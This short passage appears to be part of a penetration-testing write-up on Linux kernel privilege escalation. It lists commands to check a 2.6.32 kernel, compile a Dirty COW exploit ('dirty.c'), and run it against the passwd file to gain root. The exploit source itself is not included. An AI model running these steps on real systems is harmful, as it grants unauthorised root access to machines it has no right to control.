The Kernel is essentially a computer program that controls everything in the system. It facilitates the interactions between hardware and software components. If we exploit the Kernel (system/core) we become the Kernel >:)
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Compile
Upload and run
uname -a Linux debian 2.6.32-5-amd64
gcc -pthread dirty.c -o c0w
./c0w passwd